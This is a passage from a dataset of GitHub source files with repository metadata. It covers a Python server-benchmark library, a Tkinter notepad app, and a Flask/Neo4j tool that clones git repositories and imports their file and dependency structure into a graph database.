monitor_event(self):\n self.stop_event.wait()\n self.stop_server()\n\n def start_monitor_thread(self):\n thread = threading.Thread(target=self.monitor_event)\n thread.start()\n\n def start_server(self):\n self.start_monitor_thread()\n self.server = self.server_cls((self.host, self.port), self.handler)\n self.server.serve_forever()\n\n def stop_server(self):\n self.server.shutdown()\n\n\nclass TCPServer(BaseSyncServer, socketserver.TCPServer):\n server_cls = socketserver.TCPServer\n\n\nclass AsyncioCallbackServer(BaseServer):\n\n async def start_monitor_task(self):\n await asyncio.get_running_loop().run_in_executor(None, self.stop_event.wait())\n await self.stop_server()\n await self.server.wait_closed()\n\n async def start_server(self):\n await self.start_monitor_task()\n self.server = await asyncio.start_server(self.handler, host=self.host, port=self.port)\n\n async def stop_server(self):\n self.server.close()\n await self.server.wait_closed()\n\n\nclass AsyncioProtocolServer(AsyncioCallbackServer):\n\n async def start_server(self):\n await self.start_monitor_task()\n self.server = await asyncio.get_event_loop().create_server(self.handler, host=self.host, port=self.port)\n\n\nsync_servers = (TCPServer,)\nasync_cb_servers = (AsyncioCallbackServer,)\nasync_protocol_servers = (AsyncioProtocolServer,)\n" }, { "alpha_fraction": 0.678966760635376, "alphanum_fraction": 0.678966760635376, "avg_line_length": 23.600000381469727, "blob_id": "57c320dc56a82daa8e939236dc44643d20dd0fbb", "content_id": "2c7d77fea2e01979088e2fc22edca9cd8d3e3926", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1355, "license_type": "no_license", "max_line_length": 88, "num_lines": 55, "path": "/lib/executors.py", "repo_name": "primal100/serverperformance", "src_encoding": "UTF-8", "text": "import asyncio\nimport os\nfrom concurrent import futures\n\nthread_executor = futures.ThreadPoolExecutor()\nprocess_executor = futures.ProcessPoolExecutor()\n\n\ndef run(cb, func, *args):\n func(*args)\n cb()\n\n\ndef run_in_thread(cb, func, *args):\n future = thread_executor.submit(func, *args)\n future.add_done_callback(cb)\n\n\ndef run_in_process(cb, func, *args):\n future = process_executor.submit(func, *args)\n future.add_done_callback(cb)\n\n\nasync def async_task(cb, coro):\n await coro\n cb()\n\n\ndef async_run_task(cb, func, *args):\n asyncio.create_task(async_task(cb, func(*args)))\n\n\nasync def async_run_sync(cb, func, *args):\n func(*args)\n cb()\n\n\nasync def async_run_in_thread(cb, func, *args):\n await asyncio.get_event_loop().run_in_executor(thread_executor, func, *args)\n cb()\n\n\nasync def async_run_in_process(cb, func, *args):\n await asyncio.get_event_loop().run_in_executor(process_executor, func, *args)\n cb()\n\n\nif os.name == 'posix':\n sync_executors = (run, run_in_thread, run_in_process)\n coro_executors = (async_run_task,)\n asyncio_sync_executors = (async_run_sync, async_run_in_thread, async_run_in_process)\nelse:\n sync_executors = (run, run_in_thread, run_in_process)\n coro_executors = (async_run_task,)\n asyncio_sync_executors = (async_run_sync, async_run_in_thread, async_run_in_process)\n\n\n" }, { "alpha_fraction": 0.7192513346672058, "alphanum_fraction": 0.7192513346672058, "avg_line_length": 23.933332443237305, "blob_id": "863db293a5edf18d66dd1887e6c50cc04ef2b2a9", "content_id": "585b6335e11ebf9a6ff0be864235095a61c776fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 374, "license_type": "no_license", "max_line_length": 65, "num_lines": 15, "path": "/lib/__init__.py", "repo_name": "primal100/serverperformance", "src_encoding": "UTF-8", "text": "import asyncio\nimport os\n\nif os.name=='linux':\n import uvloop\n loop_policy = uvloop.EventLoopPolicy\nelse:\n class WindowsEventLoopPolicy(asyncio.DefaultEventLoopPolicy):\n def new_event_loop(self):\n return asyncio.ProactorEventLoop()\n loop_policy = WindowsEventLoopPolicy\n\n\ndef set_loop_policy():\n asyncio.set_event_loop_policy(loop_policy())\n" } ]
7
BhavdeepSinghB/NotPad
https://github.com/BhavdeepSinghB/NotPad
795155a145ad0dfc415bb7d48d70f4a977c6e476
f3cca3d04de326b5373af4c39cff572da3d8bdf3
ea53e00b682b1a580f8784c2ef34d77594277a86
refs/heads/master
2021-04-26T21:53:39.908193
2018-04-19T18:06:16
2018-04-19T18:06:16
124,172,473
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.695270299911499, "alphanum_fraction": 0.7108108401298523, "avg_line_length": 28.019607543945312, "blob_id": "63bb8171eecb5cea28b446cd7711d15d46984c05", "content_id": "9401ba54595dcb41a1e5722f6d4cddeba7de5de7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1480, "license_type": "no_license", "max_line_length": 94, "num_lines": 51, "path": "/NotPad.py", "repo_name": "BhavdeepSinghB/NotPad", "src_encoding": "UTF-8", "text": "from Tkinter import *\nimport tkFileDialog\nimport tkMessageBox\nroot = Tk(className=\" !Pad \")\nroot.attributes('-alpha', 0.8)\nroot.config(bg='black')\ntext = Text(root)\n#text.attributes('-alpha', 0.3)\ntext.config(fg='green', bg='black', highlightthickness=0, insertbackground='white', tabs='1c')\n#print('\\n + %s' % dir(text))\n#text[\"geometry\"] = \"1920x1080\"\ntext.insert(END, \"<!--!Pad v1.0.0 beta - A project by Bhavdeep Singh--> \\n\\n\")\ntext.pack(side=LEFT, fill=BOTH, expand = YES)\n\nmenu = Menu(root)\n\ndef saveas():\n global text\n t = text.get(\"1.0\", \"end-1c\")\n savelocation = tkFileDialog.asksaveasfilename()\n file1=open(savelocation, \"w+\")\n file1.write(t)\n file1.close()\n\n\nroot.config(menu=menu)\nFileMenu=Menu(menu)\nmenu.add_cascade(label=\"File\", menu=FileMenu)\nFileMenu.add_command(label=\"New\", command=saveas)\nFileMenu.add_command(label=\"Save\", command=saveas)\nFileMenu.add_command(label=\"Open\", command=saveas)\n\ndef fontHelvetica():\n global text\n text.config(font = \"Helvetica\")\ndef fontCourier():\n global text\n text.config(font = \"Courier\")\n\nFontMenu=Menu(menu)\nmenu.add_cascade(label=\"Font\", menu=FontMenu)\nFontMenu.add_command(label=\"Helvetica\", command=fontHelvetica)\nFontMenu.add_command(label=\"Courier\", command=fontCourier)\n\ndef aboutFunc():\n tkMessageBox.showinfo('Title', 'A notepad created by Bhavdeep Singh')\n\nAboutMenu=Menu(menu)\nmenu.add_cascade(label=\"About\", menu=AboutMenu)\nAboutMenu.add_command(label=\"About\", command=aboutFunc)\nroot.mainloop()\n" } ]
1
fraewn/IASA-getProjectData
https://github.com/fraewn/IASA-getProjectData
8a86e2ee2a7d1263d55a71bd07156763cdb16290
b01cbfb3bfddf2e695b87b091f7e3dab9f2d14dd
ed35a9bde920b5cbbe52d8149de27d8657de0357
refs/heads/master
2023-03-19T09:58:47.985729
2021-03-05T13:48:14
2021-03-05T13:48:14
258,712,238
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6835803985595703, "alphanum_fraction": 0.6858608722686768, "avg_line_length": 53.765625, "blob_id": "a94293c5c464407c3846e0af99cf8e0b56cde8f1", "content_id": "81a210dce5a9060dfa1e0fb97de017ab0ab14213", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3508, "license_type": "no_license", "max_line_length": 136, "num_lines": 64, "path": "/control/createProjectControl.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "from service.globalDatabaseAccess import GlobalDatabaseAccess\nfrom executeProjectCreationControl import ExecuteProjectCreationControl\n\nclass CreateProjectControl:\n def __init__(self, project_id):\n self.project_id = project_id\n self.globalDatabaseAccess = GlobalDatabaseAccess()\n\n def createProject(self):\n try:\n projectDatabaseURL = self.getProjectDatabaseURL()\n projectDatabaseUsername = self.getProjectDatabaseUsername()\n projectDatabasePassword = self.getProjectDatabasePassword()\n\n # +++++++++++ preparations +++++++++++++++\n projectGitURL = self.getProjectGitURL()\n print(\"Step 0: connected to global database to get credentials and link to git repository\")\n # manage all operations to create project\n executeProjectCreation = ExecuteProjectCreationControl(projectDatabaseURL, projectDatabaseUsername, projectDatabasePassword)\n # clean project database\n executeProjectCreation.deleteDataFromProjectDatabase()\n print(\"Step 1: cleaned project database\")\n # download source and save locally\n\n # +++++++++++ download and analyse Github project +++++++++++++++\n executeProjectCreation.getSourceCode(projectGitURL)\n print(\"Step 2: cloned git repository to temporary local folder\")\n # extract project data from cloned repo into csv file \"rawrepdatacsv.csv\"\n # check if .class files are there (necessary for dependency analysis)\n executeProjectCreation.extractProjectData(projectGitURL)\n print(\"Step 3: extracted project data from cloned repo into csv file 'rawrepdatacsv.csv'\")\n # extract dependency data from cloned repo into csv file \"dependencymatrix.csv\"\n executeProjectCreation.analyseDependencies()\n print(\"Step 4: extracted dependencies from cloned repo into csv file 'dependencymatrix.csv'\")\n\n # +++++++++++ import data in project database +++++++++++++++\n # persist projectdata in projectdatabase\n executeProjectCreation.persistProjectData()\n print(\"Step 5: persisted project data in project database\")\n # persist pattern data in projectdatabase\n executeProjectCreation.persistPatternData()\n print(\"Step 6: persisted pattern data in project database\")\n executeProjectCreation.deleteLocalProjectFolder()\n print(\"Step 7: cleaned up temporary local project data\")\n except(Exception) as error:\n print(error)\n finally:\n self.globalDatabaseAccess.close()\n\n def getProjectGitURL(self):\n query = \"SELECT PROJECT_GITURL FROM PROJECT WHERE PROJECT_ID = {}\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n def getProjectDatabaseURL(self):\n query = \"SELECT PROJECTDATABASE_URL FROM PROJECTDATABASE WHERE PROJECT_ID = {};\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n def getProjectDatabaseUsername(self):\n query = \"SELECT PROJECTDATABASE_USER FROM PROJECTDATABASE WHERE PROJECT_ID = {};\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n def getProjectDatabasePassword(self):\n query = \"SELECT PROJECTDATABASE_PASSWORD FROM PROJECTDATABASE WHERE PROJECT_ID = {};\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n\n\n" }, { "alpha_fraction": 0.6643604040145874, "alphanum_fraction": 0.6767498254776001, "avg_line_length": 38.839744567871094, "blob_id": "fa17537af0ff3e4d440152ef0a01ca36e23c7ff3", "content_id": "774a1cca96dad42dbd73e4715c0cda57da13f68d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6215, "license_type": "no_license", "max_line_length": 111, "num_lines": 156, "path": "/control/projectRestAPI.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask_restful import reqparse, abort, Api, Resource\nfrom createProjectControl import CreateProjectControl\nfrom updateProjectControl import UpdateProjectControl\n\napp = Flask(__name__)\napi = Api(app)\n\n# DOCUMENTATION https://flask-restful.readthedocs.io/en/latest/quickstart.html#a-minimal-api\n\n# add some test data\nPROJECT = {\n # 'request_id': {'project_data_attribute': 'project_data'}\n '0': {'project_id': 0}\n}\n\n# input validation\n# 1. check for existence\n# test if a request with a specific request_id exists, if not: send error message\ndef abort_if_project_doesnt_exist(request_id):\n if request_id not in PROJECT:\n abort(404, message=\"Request failed, {} doesn't exist\".format(request_id))\n\n# 2. parsing\n# initialise parser\nparser = reqparse.RequestParser()\n# add arguments to parser: project_id (int) and dev_id (int)\nparser.add_argument('project_id', type=int)\n\n# methods for endpoint request\n# defines the endpoint to handle all request for project creation/update the component executed by runtime\n# GET, DELETE, PUT\nclass request(Resource):\n # REST GET, needs request_id\n # test with: curl localhost:5000/request/1\n def get(self, request_id):\n # check if there is a request that matches the request_id\n abort_if_project_doesnt_exist(request_id)\n # look in array for request and return it\n return PROJECT[request_id]\n\n # REST DELETE, needs request_id\n # deletes an existing request: url is http://localhost:5000/request/<request_id>\n # test with: curl localhost:5000/request/1 -X DELETE\n def delete(self, request_id):\n abort_if_project_doesnt_exist(request_id)\n # uses already existing function del\n del PROJECT[request_id]\n # return nothing (shows that it was deleted) and code 204 that it worked\n return '', 204\n\n # REST PUT, needs request_id\n # NOT TO UPDATE A PROJECT BUT THE REQUEST IN THE API\n # updates an existing request: url is http://localhost:5000/request/<request_id>\n # test with: curl localhost:5000/request/1 -d \"project_id=12\" -X PUT\n def put(self, request_id):\n # parse the arguments and save it in python dictionary args\n args = parser.parse_args()\n\n # read python dict args using e.g. args['key']\n # save value from project_id in variable that is a json_dict, e.g.: project_id_dict = {'project_id': 1}\n project_id_dict = {'project_id': args['project_id']}\n\n # update project\n # save project in variable source\n source = PROJECT[request_id]\n # update project_id\n source['project_id'] = project_id_dict['project_id']\n\n # return the updated request\n return PROJECT[request_id], 201\n\n\n# defines the endpoint to create a new project\n# calls createProjectControl class and forwards request with project_id\nclass createProject(Resource):\n # create a new project\n def post(self):\n # parse the arguments and save it in python dictionary args\n args = parser.parse_args()\n\n # find out highest existing request_id_number, increment it by 1 and\n # save the number in variable 'request_id_number'\n request_id_number = int(max(PROJECT.keys())) + 1\n # print(request_id_number)\n # create a new request_id like 'request_<request_id_number>'\n request_id = str(request_id_number)\n\n # read python dict args using e.g. args['key']\n # save value from project_id in variable that is a json_dict, e.g.: project_id = {'project_id': 1}\n project_id_dict = {'project_id': args['project_id']}\n\n # create an empty project with newly created request_id\n # save it in variable 'source'\n source = PROJECT[request_id] = {'project_id': ''}\n # update project_id and developer_id\n source['project_id'] = project_id_dict['project_id']\n\n # trigger create project process\n createProjectControl = CreateProjectControl(source['project_id'])\n createProjectControl.createProject()\n\n # return newly added todo_ and status code\n return PROJECT[request_id], 201\n\n# defines the endpoint to update a project\n# calls updateProjectControl class and forwards request with project_id\nclass updateProject(Resource):\n def post(self):\n # parse the arguments and save it in python dictionary args\n args = parser.parse_args()\n\n # find out highest existing request_id_number, increment it by 1 and\n # save the number in variable 'request_id_number'\n request_id_number = int(max(PROJECT.keys())) + 1\n # print(request_id_number)\n # create a new request_id like 'request_<request_id_number>'\n request_id = str(request_id_number)\n\n # read python dict args using e.g. args['key']\n # save value from project_id in variable that is a json_dict, e.g.: project_id = {'project_id': 1}\n project_id_dict = {'project_id': args['project_id']}\n\n # create an empty project with newly created request_id\n # save it in variable 'source'\n source = PROJECT[request_id] = {'project_id': ''}\n # update project_id and developer_id\n source['project_id'] = project_id_dict['project_id']\n\n # trigger create project process\n updateProjectControl = UpdateProjectControl(source['project_id'])\n updateProjectControl.updateProject()\n\n # return newly added todo_ and status code\n return PROJECT[request_id], 201\n\n# add url endpoints\n# create project /createproject\n# e.g. curl localhost:5000/createproject -d \"project_id=1\" -X POST\napi.add_resource(createProject, '/createproject')\n\n# update project /updateproject\n# e.g. curl localhost:5000/updateproject -d \"project_id=1\" -X POST\napi.add_resource(updateProject, '/updateproject')\n\n# get a specific or all projects\n# e.g. curl localhost:5000/request/1\napi.add_resource(request, '/request/<request_id>')\n\n# run\n# https://www.modius-techblog.de/devops/python-flask-app-mit-docker-deployen/\n# why we need the host='0.0.0.0'\nif __name__ == '__main__':\n # set debug mode to false\n # important: specifiy host, otherwise execution in docker env does not work\n app.run(host='0.0.0.0', debug=False)\n" }, { "alpha_fraction": 0.6707482933998108, "alphanum_fraction": 0.6748299598693848, "avg_line_length": 35.75, "blob_id": "571f7f04f4196604efde85b5f0a85386ba8f6f0c", "content_id": "bb872a0102e82ab110773ff7fe4d067d3edc3a37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 735, "license_type": "no_license", "max_line_length": 90, "num_lines": 20, "path": "/control/service/DatabaseAccess.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "from neo4j import GraphDatabase\n\nclass DatabaseAccess:\n # import the neo4j driver for Python\n # Connect to the neo4j database server\n # function takes parameters and puts them into method\n def __init__(self, uri, user, password):\n # self._driver = GraphDatabase.driver(uri, auth=(user, password), encrypted=false)\n self._driver = GraphDatabase.driver(uri, auth=(user, password))\n\n def close(self):\n self._driver.close()\n\n def executequery(self, query):\n with self._driver.session() as graphDB_Session:\n graphDB_Session.run(query)\n\n def executeQueryWithResult(self, query):\n with self._driver.session() as graphDB_Session:\n return graphDB_Session.run(query)\n" }, { "alpha_fraction": 0.5910780429840088, "alphanum_fraction": 0.5923172235488892, "avg_line_length": 46.411766052246094, "blob_id": "3ea84379dbf27353eb04109b1c2c7b63f5199a25", "content_id": "83c12e0ab9dd18deeae8722bb7b6fa794b68d742", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 807, "license_type": "no_license", "max_line_length": 77, "num_lines": 17, "path": "/control/GetRepositoryData.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "# imports\nfrom pydriller import RepositoryMining\n\n# class responsible for retreiving data from git repository\nclass GetRepositoryData:\n\n def getRepInfo(self, filename, path):\n with open(filename, 'w', newline='', encoding=\"utf-8\") as f:\n f.write(f\"filename;developer;commitdate;path;\"\n f\"changetype;oldpath;projectname\\n\")\n for commit in RepositoryMining(path).traverse_commits():\n project_name = commit.project_name\n # for all modifications happened in one commit do\n for m in commit.modifications:\n f.write(f\"{m.filename};{commit.author.name};\"\n f\"{commit.author_date};{m.new_path};\"\n f\"{m.change_type};{m.old_path};{project_name}\\n\")\n\n" }, { "alpha_fraction": 0.674458384513855, "alphanum_fraction": 0.6778791546821594, "avg_line_length": 46.27027130126953, "blob_id": "c4cd06c25bdf7944ff03d842d44bc94a97e36d1c", "content_id": "f230055b9de4cf8a54ce6f42caae6ef949031a0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3508, "license_type": "no_license", "max_line_length": 98, "num_lines": 74, "path": "/control/ManagePersistence.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "from service.DatabaseAccess import DatabaseAccess\nfrom model.ProduceQueries import ProduceQueries\n\nclass ManagePersistence:\n def __init__(self):\n self.produceQueries = ProduceQueries()\n\n def init_connection(self, uri, userName, password):\n self.projectDatabaseAccess = DatabaseAccess(uri, userName, password)\n\n def process_dependency_persisting(self, pathToDependencymatrix):\n # produce a project database query for each dependency and save in array \"queries\"\n queries = self.produceQueries.create_dependencies_queries(pathToDependencymatrix)\n # iterate through query array\n for i in range(len(queries)):\n # execute query at i\n self.projectDatabaseAccess.executequery(queries[i])\n\n def process_patterns_persisting (self):\n # produce a project database query for each pattern and save in array \"queries\"\n queries = self.produceQueries.create_patterns_queries()\n # iterate through query array\n for i in range(len(queries)):\n # execute query at i\n self.projectDatabaseAccess.executequery(queries[i])\n\n def deleteProject(self):\n # cleanup Database\n query = \"match(n) detach delete(n)\"\n self.projectDatabaseAccess.executequery(query)\n\n def handleDeletedOrMovedFiles(self, pathToRawRepDataCsv):\n queries = self.produceQueries.createDeleteFileQueries(pathToRawRepDataCsv)\n for query in queries:\n self.projectDatabaseAccess.executequery(query)\n\n def persistPackageFileStructure(self, pathToRawRepDataCsv):\n queries = self.produceQueries.createPackageStructureQueries(pathToRawRepDataCsv)\n for query in queries:\n self.projectDatabaseAccess.executequery(query)\n\n def deleteLonelyPackages(self):\n query = self.produceQueries.createQueriesToDeleteLonelyPackageNodes()\n self.projectDatabaseAccess.executequery(query)\n\n def checkRelationExists(self, filepath):\n # produce match queries to find out if a relation already exists\n checkRelationExistQueries = self.produceQueries.createCheckRelationExistsQueries(filepath)\n for i in range(len(checkRelationExistQueries)):\n query = checkRelationExistQueries[i][3]\n # default expection: dependency does not yet exist in project database\n dependencyExists = False\n # if we find a record for this dependency, variable is set to true\n for record in self.projectDatabaseAccess.executeQueryWithResult(query):\n # if record is not empty (a relation exists)\n dependencyExists = True\n # if record is empty\n if dependencyExists == False:\n # create new dependency there\n class1 = checkRelationExistQueries[i][0]\n class2 = checkRelationExistQueries[i][1]\n relation = checkRelationExistQueries[i][2]\n self.persistDependency(class1, class2, relation)\n\n def persistDependency(self, class1, class2, relation):\n query = \"MERGE (file:File {filename:'\" + class1 + \"'}) \" \\\n \"MERGE (filetwo:File {filename:'\" + class2 + \"'}) \" \\\n \"CREATE (file)-[:`\" + relation + \"`]->(filetwo)\"\n self.projectDatabaseAccess.executequery(query)\n\n def persistPackageStructure(self, oldpath, newpath, file):\n query=\"\"\n print(\"persisted package structure\")\n self.projectDatabaseAccess.executequery(query)\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.61689293384552, "alphanum_fraction": 0.61689293384552, "avg_line_length": 30.619047164916992, "blob_id": "f45fceabd9158b839786355f87449d4e3c0c569a", "content_id": "f0879c61dd96bb4e4a4f7dd54e1a6d9362acf0d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 663, "license_type": "no_license", "max_line_length": 58, "num_lines": 21, "path": "/control/service/util/util.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "import os\nimport platform\n\nclass Util:\n def getDependencyAnalysisLink(self):\n if (platform.system()==\"Windows\"):\n return self.getDependencyAnalysisLinkWindows()\n elif (platform.system()==\"Linux\"):\n return self.getDependencyAnalysisLinkLinux()\n\n def getDependencyAnalysisLinkWindows(self):\n link = os.getenv('LOCALAPPDATA')\n link = link.replace('\\\\', '/')\n link = link + ('/dependency_analysis')\n return link\n\n def getDependencyAnalysisLinkLinux(self):\n link = os.getenv('HOME')\n link = link.replace('\\\\', '/')\n link = link + ('/dependency_analysis')\n return link" }, { "alpha_fraction": 0.7417452931404114, "alphanum_fraction": 0.7623820900917053, "avg_line_length": 32.156864166259766, "blob_id": "ce3f7ff98209da71d72e7769d043d7808c9ac706", "content_id": "d147b20095beca4a1baa7f78d1a612d31ad7f5af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1696, "license_type": "no_license", "max_line_length": 138, "num_lines": 51, "path": "/README.md", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "# READ ME\n\n## Watch showcase here\nhttps://drive.google.com/file/d/1AOkofseiU2wcuxEFpzoA6HyAOxmpcwXv/view?usp=sharing\n\n## Installation \n\n### Requirements\n* python 3.7+ 64bit\n* connection to iasa_global database \n* neo4j local instance \n* pip3 \n\nInstall the following libs using pip3: \n* pydriller \n* setuptools \n* requests\n* GitPython\n* neo4j \n* psycopg2\n* flask \n* flask_restful\n\n### Build\n\n1. Download the DependencyAnalysis.jar (request from admin) and copy .jar file into getrepository/control \n\n2. Start a new neo4j instance as project database and make sure it exists in global IASA project database \n\n3. Create postgreSQLconfig.ini in control package and add global database credentials (request from admin)\n\n4. Run component: \n* In terminal, navigate to `getrepository/control`\n* execute projectRestAPI.py with `python3 projectRestAPI.py` or create new run configuration for it\n\n## Use \n### Requirements\n* you have a publicly accessable git repository (e.g. on Github)\n* the .class files are in this git repository (check that you don't ignore .class files in your .gitignore file)\n* you have the iasa_global postgres database running \n* you have a neo4j project database instance running \n* you have a project registered in the iasa_global database with the associated project from git and the associated neo4j project database\n\n### Execution \nExample for a project with project id 1: \n* create a project: `curl localhost:5000/createproject -d \"project_id=1\" -X POST`\n* update a project: `curl localhost:5000/updateproject -d \"project_id=1\" -X POST`\n* see project_id for a specific request `curl localhost:5000/request/<request_id>`\n\n## Debug \n* process is printed in \"Run\"-terminal \n\n\n\n\n" }, { "alpha_fraction": 0.5233340859413147, "alphanum_fraction": 0.5263680219650269, "avg_line_length": 61.078765869140625, "blob_id": "6692559000979b55e49cbee194cd0e5a907d274b", "content_id": "5d27bd89e8a53aa8097ee837139fb1e59f3e1bf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18128, "license_type": "no_license", "max_line_length": 165, "num_lines": 292, "path": "/control/model/ProduceQueries.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "import csv\nimport os\nimport platform\n\nclass ProduceQueries:\n # imports all dependencies from the dependencymatrix.csv file\n # straight into the database; no check if they already exist\n def create_dependencies_queries(self, pathToDependencymatrix):\n with open(pathToDependencymatrix, 'r', encoding=\"utf-8\") as f:\n csvreader = csv.reader(f, delimiter=';')\n # store queries in array\n dependencyqueries = []\n # iterate through rows in csv file\n for row in csvreader:\n class1 = row[0]\n class2 = row[1]\n relation = row[2]\n relationup = relation.upper()\n query = \"MERGE (file:File {filename:'\" + class1 + \"'}) \" \\\n \"MERGE (filetwo:File {filename:'\" + class2 +\"'}) \" \\\n \"CREATE (file)-[:`\" + relationup + \"`]->(filetwo)\"\n dependencyqueries.append(query)\n #return array with all queries\n return dependencyqueries\n\n # create match queries to find existing dependency relations between file nodes\n def createCheckRelationExistsQueries(self, pathToDependencymatrixcsv):\n with open(pathToDependencymatrixcsv, 'r', encoding=\"utf-8\") as f:\n csvreader = csv.reader(f, delimiter=';')\n # store queries in array\n queries = []\n # iterate through rows in csv file\n for row in csvreader:\n class1 = row[0]\n class2 = row[1]\n relation = row[2]\n relationup = relation.upper()\n query = \"match(n:File {filename:'\" + class1 + \"'})\" \\\n \"-[r:\" + relationup + \"]->(m:File {filename:'\" + class2 + \"'}) return n,r,m\"\n list = [class1, class2, relationup, query]\n queries.append(list)\n # return array with all queries\n return queries\n\n # method creates queries to import/update the package/file subgraph in the graph\n # infos about the package/file subgraph:\n # The graph model stores the packages. Each package gets a different node type,\n # depending on its level in the package hierarchy. The first level is the project node,\n # then level zero is the first package e.g. 'src' which can contain a level 1 package\n # e.g. 'control' and so on.\n # The relation names differ in a similar way: The root node, project has a CONTAINSPACKAGE\n # relation to the zero level package. All other relations between packages are called\n # CONTAINSSUBPACKAGE. The relation between a package/subpackage and a file is called CONTAINSFILE.\n def createPackageStructureQueries(self, pathToRawRepDataCsv):\n # array to store queries\n queries = []\n # array to store all files that were already processed\n filesAlreadyProcessed = []\n\n # variables to create relationQueries\n merge = \"MERGE\"\n projectNode = \"(project)\"\n fileNode = \"(file)\"\n packageBeginn = \"(package\"\n packageEnd = \")\"\n containsFile = \"-[:`CONTAINSFILE`]->\"\n containsPackage = \"-[:`CONTAINSPACKAGE`]->\"\n containsSubpackage = \"-[:`CONTAINSSUBPACKAGE`]->\"\n whiteSpace = \" \"\n\n with open(pathToRawRepDataCsv, 'r', encoding=\"utf-8\") as f:\n csvreader = csv.reader(f, delimiter=';')\n # iterate through rows in csv file\n next(csvreader, None) # skip headers\n for row in csvreader:\n filename = row[0]\n # filter for files we did not process yet\n if filename not in filesAlreadyProcessed:\n # filter for .java files\n if filename.__contains__('.java'):\n # find latest update of file in csv rows\n latestRow = self.findLatestRow(pathToRawRepDataCsv, filename)\n # assign variables for each cell value\n newpath = latestRow[3]\n changetype = latestRow[4]\n projectname = latestRow[6]\n # filter for files that were added or renamed\n if changetype != \"ModificationType.MODIFY\" and changetype != \"ModificationType.DELETE\":\n # e.g. src/command/loadCommand.java\n if (platform.system() == \"Windows\"):\n packages = newpath.rsplit(\"\\\\\");\n elif (platform.system() == \"Linux\"):\n packages = newpath.rsplit(\"/\");\n\n # packages = [\"src\", \"command\", \"loadCommand.java\"]\n # so there are two packages and one file in the array,\n # therefore the number of packages in arrayLength-1\n\n countPackages = len(packages) - 1\n countSubpackages = len(packages) - 2\n\n # create project/package/subpackage/file nodes\n packageLevelCount = 0\n query = \"MERGE (project:Project {projectname: '\" + projectname + \"'})\"\n for package in packages:\n if (packageLevelCount == countPackages):\n query = query + \" MERGE (file:File {filename:'\" + package + \"'})\"\n break\n query = query + \" MERGE (package\" + str(packageLevelCount) + \":Level\" + str(\n packageLevelCount) + \"Package {packagename:'\" + package + \"'})\"\n packageLevelCount = packageLevelCount + 1\n\n # create relations\n # \"MERGE (project)-[:`CONTAINSFILE`]->(file)\"\n if len(packages) == 1:\n query = query + whiteSpace + merge + whiteSpace + projectNode + containsFile + fileNode + whiteSpace\n\n # \"MERGE (project)-[:`CONTAINSPACKAGE`]->(package0) \" \\\n # \"MERGE (package0)-[:`CONTAINSFILE`]->(file)\"\n elif len(packages) == 2:\n query = query + whiteSpace + merge + whiteSpace + projectNode + containsPackage + packageBeginn + \"0\" + packageEnd + whiteSpace \\\n + merge + whiteSpace + packageBeginn + \"0\" + packageEnd + containsFile + fileNode\n\n # \"MERGE (project)-[:`CONTAINSPACKAGE`]->(package0) \" \\\n # \"MERGE (package0)-[:`CONTAINSSUBPACKAGE`]->(package1)\" \\\n # \"MERGE (package1)-[:`CONTAINSFILE`]->(file)\"\n elif len(packages) == 3:\n query = query + whiteSpace + merge + whiteSpace + projectNode + containsPackage + packageBeginn + \"0\" + packageEnd \\\n + whiteSpace + merge + packageBeginn + \"0\" + packageEnd + containsSubpackage + packageBeginn + \"1\" + packageEnd \\\n + whiteSpace + merge + packageBeginn + \"1\" + packageEnd + containsFile + fileNode\n\n # len(packages) > 3\n else:\n relationQueryBeginn = whiteSpace + merge + whiteSpace + projectNode + containsPackage + packageBeginn + \"0\" + packageEnd + whiteSpace\n relationQueryEnd = containsFile + fileNode\n query = query + relationQueryBeginn\n packageLevel = 0\n for package in packages:\n if packageLevel < countSubpackages:\n query = query + whiteSpace + merge + packageBeginn + str(\n packageLevel) + packageEnd + containsSubpackage + packageBeginn \\\n + str(packageLevel + 1) + packageEnd\n\n elif packageLevel == countSubpackages:\n query = query + whiteSpace + merge + whiteSpace + packageBeginn + str(\n packageLevel) + packageEnd + relationQueryEnd\n packageLevel = packageLevel + 1\n queries.append(query)\n filesAlreadyProcessed.append(filename)\n return queries\n\n # git does not store directories; if an directory is emptied before the next commit,\n # the directory is deleted in git. Therefore, package nodes that have no relation to a file or\n # a subpackage must be deleted (this action is necessary after each update)\n def createQueriesToDeleteLonelyPackageNodes(self):\n # give me all nodes that have the property packagename (true for all kind of packages) and that do not have an outgoing relationship\n query = \"MATCH (package) \" \\\n \"WHERE EXISTS(package.packagename) and not (package)-->() \" \\\n \"DETACH DELETE package\"\n return query\n\n # finds all files that were deleted or renamed (moved) in the lastest ccmmit\n # creates the queries to delete them and their relations from database\n def createDeleteFileQueries(self, 